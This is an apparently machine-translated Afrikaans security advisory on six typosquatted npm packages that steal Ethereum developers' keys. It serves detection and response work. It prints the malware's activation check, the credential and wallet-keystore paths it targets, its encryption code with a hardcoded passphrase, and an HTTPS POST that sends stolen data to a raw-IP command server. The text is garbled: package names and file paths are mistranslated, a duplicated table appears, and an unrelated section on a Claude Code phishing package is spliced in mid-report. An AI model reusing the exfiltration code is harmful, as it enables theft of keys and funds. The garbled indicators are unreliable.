EVMDeFi npm Typosquatting-aanval steel ontwikkelaarsleutels

EVM/DeFi npm Typosquatting-aanval steel ontwikkelaarsleutels

TL; DR

Op 6 Mei 2026, 'n enkele npm-uitgewer, namikazesarada010206, het ses kwaadwillige pakkette versprei wat die Ethereum-, Solidity- en DeFi-ontwikkelaarsekosisteem teiken.

Die pakkette, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, en web3-utils-core, het geloofwaardige name gebruik wat ontwerp is om soos hulpbiblioteke vir gewilde Web3-gereedskap te lyk.

Al ses pakkies het dieselfde bevat telemetry.js lêer. Die lêer was byte-identies oor die hele groep, met SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Die wanware word nie tydens installasie uitgevoer nie. Daar is geen preinstall or postinstall haak. In plaas daarvan aktiveer dit wanneer die pakket ingevoer word deur require().

Daardie detail maak saak.

Die inplanting wag totdat 'n ontwikkelaar die pakket werklik gebruik. Dan kyk dit of die werkstasie soos 'n regte Ethereum / Solidity-ontwikkelingsomgewing lyk. Dit soek na Alchemy- of Infura-sleutels, privaat sleutels, mnemonika, ontplooiersleutels of 'n plaaslike Foundry-gids.

Indien die gasheer ooreenstem, versamel die dief SSH-privaatsleutels, Foundry / Geth / Brownie-beursie-sleutelbergings, .env* lêers en sensitiewe omgewingveranderlikes. Dit enkripteer die bundel met AES-256-GCM met behulp van 'n hardgekodeerde wagwoordfrase en eksfiltreer dit na 'n rou IPv4 C2-eindpunt met TLS-verifikasie gedeaktiveer.

Xygeni se Malware Early Warning (MEW)-stelsel het al ses pakkette as kwaadwillig bevestig. Die npm-register-verwyderingsverslagbundel is hangende.

Die Kluster: Ses Pakkette, Een Uitgewer

Die uitgewerrekening namikazesarada010206 was gekoppel aan die ongeverifieerde Gmail-adres namikazesarada010206@gmail.com.

Die veldtog het as 'n eendaagse publikasie-uitbarsting op 6 Mei 2026 verskyn. Al ses pakkette is as weergawes gewysig. 1.0.0, het geen looptydafhanklikhede gehad nie, en slegs drie lêers gestuur:

package.json index.js telemetry.js

Hulle het ook dieselfde bronbewaarplek verklaar:

https://github.com/harunosakura030303-maker/evmchain-config

Die eerste drie pakkette is deur MEW-skandeerders met die eerste publikasie vasgevang. Die oorblywende drie is geforseerd gemerk na ontleder-oorsig van die uitgewer se npm-profiel. Sodra dieselfde byte-identies telemetry.js is oor die hele groep bevestig, is hulle deur konsekwentheid as kwaadwillig gesluit.

pakket weergawe npm Gepubliseer MEW-kaartjie Uitspraak
viem-kern 1.0.0 2026-05-06 01:38:44Z #51049 Kwaadwillige
viem-utils-kern 1.0.0 2026-05-06 #51050 Kwaadwillige
hardhat-kern-utils 1.0.0 2026-05-06 #51051 Kwaadwillige
evm-utils 1.0.0 2026-05-06 #51069 Kwaadwillig, deur konsekwentheid
gietery-nutsdienste 1.0.0 2026-05-06 #51071 Kwaadwillig, deur konsekwentheid
web3-utils-kern 1.0.0 2026-05-06 #51070 Kwaadwillig, deur konsekwentheid

Die naamgewingstrategie is eenvoudig maar effektief.

Hierdie pakkette boots nie presiese stroomopname na nie. In plaas daarvan gebruik hulle geloofwaardige "nutsprogram"-agtervoegsels soos -core, -utils, en -utils-coreDit laat hulle lyk soos metgeselbiblioteke wat 'n ontwikkelaar dalk naby Web3-gereedskap sou verwag.

Kwaadwillige pakket Wettige Teiken
viem-kern viem, 'n gewilde Ethereum TypeScript-kliënt
viem-utils-kern viem
hardhat-kern-utils hardhat, 'n hoofstroom Solidity-ontwikkelingsomgewing
evm-utils Generiese EVM-gereedskapnaamruimte
gietery-nutsdienste gietery, 'n Solidity-gereedskapsketting
web3-utils-kern web3-hulpprogramme, Web3.js-helpers

Dit is die "aanvullende pakket"-patroon: nie "Ek is die regte pakket" nie, maar "Ek lyk soos 'n redelike helper rondom die regte pakket".

Vir DeFi-ontwikkelaars wat vinnig beweeg, is dit genoeg om risiko te skep.

Wat gebeur wanneer die pakket ingevoer word

Die aanvalsketting is klein, doelbewus en gefokus op kripto-ontwikkelingsomgewings.

Daar is geen installasiehaak nie. In plaas daarvan bevat elke pakket 'n index.js wat stompfunksionaliteit uitvoer en dan die kwaadwillige telemetriemodule laai.

require('./telemetry').init();

Dit beteken dat die wanware met die eerste invoer aktiveer.

Dit is operasioneel nuttig vir die aanvaller. Baie skandeerders en sandkaste fokus op installasietydgedrag. Hierdie pakket wag totdat dit eintlik deur 'n ontwikkelaar, bouskrip, toetssuite of looptydpad gebruik word.

Aktiveringshek: Werk slegs op regte Web3-ontwikkelaarswerkstasies

Die belangrikste deel van die inplantaat is die aktiveringshek.

Die wanware kontroleer vir omgewingveranderlikes wat algemeen op Ethereum / Solidity-ontwikkelaarsmasjiene voorkom:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Dit kyk ook of Foundry geïnstalleer blyk te wees:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Indien geeneen van die voorwaardes waar is nie, gee die funksie terug en doen niks.

Dit maak die pakket stiller in generiese analise-omgewings. 'n Sandput sonder Foundry, Alchemy-sleutels, Infura-sleutels, privaat sleutels of mnemonika kan 'n onskadelike invoer sien.

Op 'n ooreenstemmende gasheer wag die wanware 60 tot 90 sekondes voor versameling:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Die vertraging verminder die ooglopende korrelasie tussen invoer en eksfiltrasie. .unref() `call` laat ook die gasheerproses normaalweg afsluit as die pakket in 'n kortstondige skrip ingevoer is.

Dit is nie raserige "smash-and-grab"-gedrag nie. Dit is 'n geteikende diefstal-aksie wat ontwerp is om te verhoed dat dit loop tensy die ontwikkelaaromgewing die moeite werd is om van te steel.

Wat die Steeler Versamel

Sodra die aktiveringshek geslaag het, versamel die wanware van bronne wat die belangrikste is in Web3-ontwikkeling: privaat sleutels, beursie-sleutelbergings, ontplooiingsbewyse, wolkgeheime, npm-tokens en plaaslike projekkonfigurasie.

Bron Wat word versamel
proses.omgewing Enige veranderlike wat ooreenstem met /TOKEN|SECRET|SLEUTEL|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Lêers wat PRIVATE SLEUTEL of BEGIN OPENSSH bevat, insluitend die volledige lêerinhoud
~/.gietery/sleutelwinkels/* Foundry-beursie-sleutelstoorlêers
~/.ethereum/sleutelwinkel/* Geth-beursie-sleutelstoorlêers
~/.brownie/rekeninge/* Brownie-beursie-sleutelstoorlêers
${cwd}/.omgewing Volledige lêerinhoud
${cwd}/.omgewing.lokaal Volledige lêerinhoud
${cwd}/.omgewing.produksie Volledige lêerinhoud
${cwd}/.omgewing.ontwikkeling Volledige lêerinhoud
os.gasheernaam() Gasheermetadata
kripto.randomUUID() Slagoffer-/sessie-identifiseerder
Datum.nou() Versamelingstydstempel
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Die ATTA-tokens is:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Ons kon nie bevestig of die telemetrie die operateur se eie analise of 'n afsonderlik gemonetiseerde kanaal was nie. Die ATTA-tokens is dieselfde in beide monsters wat ons ondersoek het.

Groep B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL-kaping

Die steekproef van 1 April is die ruwer, vroeëre arm van die veldtog.

heibai:2.1.88-claude.hk-4 is gepubliseer deur wuguoqiangvip28, 'n rekening wat op 7 Junie 2025 geskep is. Die pakket het homself eksplisiet teen die wettige weergawe verander. 2.1.88 Antropiese vrystelling.

Dit pla nie met CA-cert MITM nie. In plaas daarvan lieg dit vir die gebruiker oor die OAuth-eindpunt.

Die kwaadwillige byvoegings bo-op die gelekte Claude Code-bron sluit in:

Bron Wat word versamel
proses.omgewing Enige veranderlike wat ooreenstem met /TOKEN|SECRET|SLEUTEL|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Lêers wat PRIVATE SLEUTEL of BEGIN OPENSSH bevat, insluitend die volledige lêerinhoud
~/.gietery/sleutelwinkels/* Foundry-beursie-sleutelstoorlêers
~/.ethereum/sleutelwinkel/* Geth-beursie-sleutelstoorlêers
~/.brownie/rekeninge/* Brownie-beursie-sleutelstoorlêers
${cwd}/.omgewing Volledige lêerinhoud
${cwd}/.omgewing.lokaal Volledige lêerinhoud
${cwd}/.omgewing.produksie Volledige lêerinhoud
${cwd}/.omgewing.ontwikkeling Volledige lêerinhoud
os.gasheernaam() Gasheermetadata
kripto.randomUUID() Slagoffer-/sessie-identifiseerder
Datum.nou() Versamelingstydstempel

Die teikenlys is hoogs spesifiek. Dit is nie generiese blaaierdiefstal of breë geloofsbriewe-skraapwerk nie. Dit is gemik op ontwikkelaars wat Ethereum-toepassings bou, toets, ontplooi of bedryf.

Die insluiting van Foundry-, Geth- en Brownie-sleutelbergings is veral belangrik. Hierdie lêers kan direkte toegang tot beursies of ontplooiingsidentiteite verteenwoordig. As die aanvaller hulle met wagwoorde, mnemonika of omgewinggeheime kan koppel, kan hulle moontlik fondse skuif, ontplooiers naboots of slimkontrakbedrywighede in gevaar stel.

Enkripsie voor eksfiltrasie

Die wanware enkripteer die versamelde data voordat dit uitgestuur word.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Die hardgekodeerde wagwoordfrase is:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Die finale vrag word as JSON toegedraai:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Enkripsie maak nie die wanware op sigself meer gevorderd nie. Dit maak netwerkinspeksie egter moeiliker. 'n Verdediger wat uitgaande sagteware dophou, sal 'n JSON-vrag sien, maar nie die gesteelde sleutels, beursie-lêers of ... nie. .env inhoud sonder die hardgekodeerde wagwoordfrase en dekripsielogika.

Eksfiltrasie na 'n Rou IPv4 C2

Die eksfiltrasiepad is hardgekodeer:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Die wanware stuur data na:

https://76.13.37.80:8443/api/v1/telemetry

Twee besonderhede staan ​​uit.

Eerstens, die C2 is 'n rou IPv4-adres eerder as 'n domein. Dit verwyder die behoefte aan domeinregistrasie en vermy sommige domeingebaseerde opsporings.

Tweedens, TLS-verifikasie is gedeaktiveer met:

rejectUnauthorized: false

Dit laat die wanware toe om enige sertifikaat te aanvaar, insluitend selfgetekende sertifikate. Met ander woorde, die aanvaller kry geënkripteerde vervoer sonder om 'n geldige publieke sertifikaat te benodig.

Daar is geen herprobeerlogika en geen noodgasheer nie. Foute word stilweg ingesluk. Dit hou die pakket stil as die C2 vanlyn of onbereikbaar is.

Waarom hierdie veldtog belangrik is

Meeste kwaadwillige npm-pakkette wat op ontwikkelaars gemik is, jaag breë geloofsbriewe na: npm-tokens, AWS-sleutels, GitHub-tokens, of .npmrc lêers.

Hierdie veldtog vernou die teiken.

Dit soek na tekens dat die masjien aan 'n Ethereum- of Solidity-ontwikkelaar behoort. Dan trek dit presies die bates wat in daardie omgewing saak maak: beursie-sleutelbergings, privaat sleutels, mnemonika, ontplooiersleutels, .env lêers en SSH-sleutels.

Dit maak die veldtog gevaarliker vir Web3-spanne as 'n generiese npm-dief.

'n Suksesvolle infeksie kan blootstel:

  • Implementeringsbeursies
  • Slim kontrak administrateur sleutels
  • RPC-verskaffersleutels
  • Wolk-ontplooiingsbewyse
  • npm-publikasietokens
  • SSH-toegang tot ontwikkelaar- of bou-infrastruktuur
  • Projekgeheime gestoor in .env lêers
  • Beursiesleutelwinkels vir Foundry, Geth of Brownie

Die pakketname toon ook duidelike sosiale manipulasie. Hulle teiken die Web3-ontwikkelaarsekosisteem deur bekende gereedskapname: viem, hardhat, foundry, evm, en web3.

Die akteur hoef nie die werklike projekte in gevaar te stel nie. Hulle benodig slegs 'n ontwikkelaar om te installeer wat lyk na 'n redelike metgeselpakket.

Aanwysers van Kompromie en Opsporing

Pakkette en Uitgewer
Veld waarde
npm-uitgewer namikazesarada010206
Uitgewer se e-posadres namikazesarada010206@gmail.com
e-pos geverifieer Geen
SCM geverifieer Geen
Reputasietelling 1.0
Pakkette viem-kern, viem-utils-kern, hardehat-kern-utils, evm-utils, gietery-utils, web3-utils-kern
weergawes Alle 1.0.0
Bronbewaarplek https://github.com/harunosakura030303-maker/evmchain-config
Bevestig as kwaadwillig Al ses pakkette
Netwerk
Tipe waarde
C2-eindpunt https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2-poort 8443/tcp
TLS-gedrag verwerpOngeautoriseerd: vals
Vragskema {"v":2,"iv": "d": "t": }
Lêers en Hashes
Tipe waarde
telemetrie.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Pakketuitleg pakket.json, indeks.js, telemetrie.js
Lêertelling 3
Benaderde totale grootte 3.4 KB

Aktiveringsseine

Die wanware kontroleer vir hierdie omgewingveranderlikes:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Dit kontroleer ook vir:

~/.foundry/

Geteikende gasheerpaaie

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Versameling Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Opsporingsnotas

Verskeie reëls vang hierdie veldtog vas sonder dat volledige gedragsanalise nodig is.

Skandeer eers sluitlêers vir die ses kwaadwillige pakketname:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Enige wedstryd in package-lock.json, yarn.lock, pnpm-lock.yaml, of node_modules geskiedenis moet as 'n ernstige voorval beskou word.

Tweedens, monitor vir Node.js-prosesse wat beursie-sleutelstoorpaaie lees:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Dit is selde wettige gedrag vir 'n pakket wat as 'n helperafhanklikheid ingevoer word. Dit is veral verdag wanneer dit gevolg word deur uitgaande netwerkaktiwiteit.

Derdens, blokkeer of waarsku oor HTTPS-verbindings na:

76.13.37.80:8443

Veral wanneer die versoekpad is:

/api/v1/telemetry

Vierdens, soek na npm-pakkette wat hierdie eienskappe kombineer:

  • Nuwe of lae-reputasie uitgewer
  • Ongeverifieerde Gmail-rekening
  • Web3-aangrensende pakketnaam
  • Geen betekenisvolle bewaarplekgeskiedenis nie
  • Klein pakketuitleg
  • index.js wat 'n telemetrie- of hulplêer laai
  • Geen looptydafhanklikhede nie
  • Sensitiewe omgewing-veranderlike versameling
  • Toegang tot beursie-sleutelstoor

Hierdie patroon is nuttiger as 'n enkele IOC, want die volgende pakket kan die IP-adres verander, maar dieselfde teikenlogika behou.

Kompromie-reaksie-kontrolelys

Indien 'n ontwikkelaar een van die ses pakkette gebruik het en hul omgewing ooreenstem met die aktiveringshek, hanteer die werkstasie as gekompromitteer.

Dit sluit masjiene met Foundry geïnstalleer, Alchemy- of Infura-sleutels in die omgewing, privaat sleutels, mnemonika of ontplooiersleutels in.

Aanbevole reaksie:

  • Ontkoppel die gasheer van die netwerk.
  • bewaar node_modules, sluitlêers, dopgeskiedenis en relevante logboeke vir forensiese ondersoeke.
  • Roteer elke SSH-sleutelpaar onder ~/.ssh/.
  • Roteer beursiesleutels vir elke sleutelstoor onder ~/.foundry, ~/.ethereum, en ~/.brownie.
  • Skuif fondse na vars beursies.
  • Roteer elke geheim wat gestoor is in .env* lêers in bewaarplekke waarin die ontwikkelaar gewerk het.
  • Roteer omgewinggeheime wat ooreenstem met die versamelingsregex, insluitend AWS-sleutels, npm-tokens, ontplooiingstokens, API-sleutels, privaat sleutels, sade en mnemonika.
  • Ouditwolk-, npm-, GitHub-, RPC-verskaffer- en blokkettingaktiwiteit sedert die pakket die eerste keer geïnstalleer is.
  • Herbeeld die werkstasie voor hergebruik.

Wat Verdedigers Moet Wegneem

Hierdie veldtog wys hoe npm typosquatting ontwikkel rondom hoëwaarde-ontwikkelaar-ekosisteme.

Die akteur het nie volharding nodig gehad nie. Hulle het nie verdoeseling nodig gehad nie. Hulle het nie eers installasietyd-uitvoering nodig gehad nie.

In plaas daarvan het hulle op drie dinge staatgemaak:

  • Geloofwaardige Web3-pakketname
  • Aktivering slegs op regte kripto-ontwikkelingsmasjiene
  • Direkte diefstal van die lêers en geheime wat die belangrikste is vir Ethereum-ontwikkelaars

Dit maak die veldtog maklik om te mis in breë skandering en gevaarlik wanneer dit in die regte omgewing beland.

Vir Web3-spanne is die les duidelik: behandel afhanklikheidsname as deel van jou bedreigingsmodel. 'n Pakket wat soos 'n onskadelike helper lyk, kan steeds die kortste pad na beursie-kompromie word.

Aangemeld by die npm-register. Ons sal hierdie plasing opdateer wanneer die uitgewerrekening en pakkette verwyder is.

sca-tools-sagteware-samestelling-analise-gereedskap
Prioritiseer, herstel en beveilig jou sagtewarerisiko's
Kry jou gratis rekening.
Geen kredietkaart benodig nie.

Beveilig u sagteware-ontwikkeling en -lewering

met Xygeni-produksuite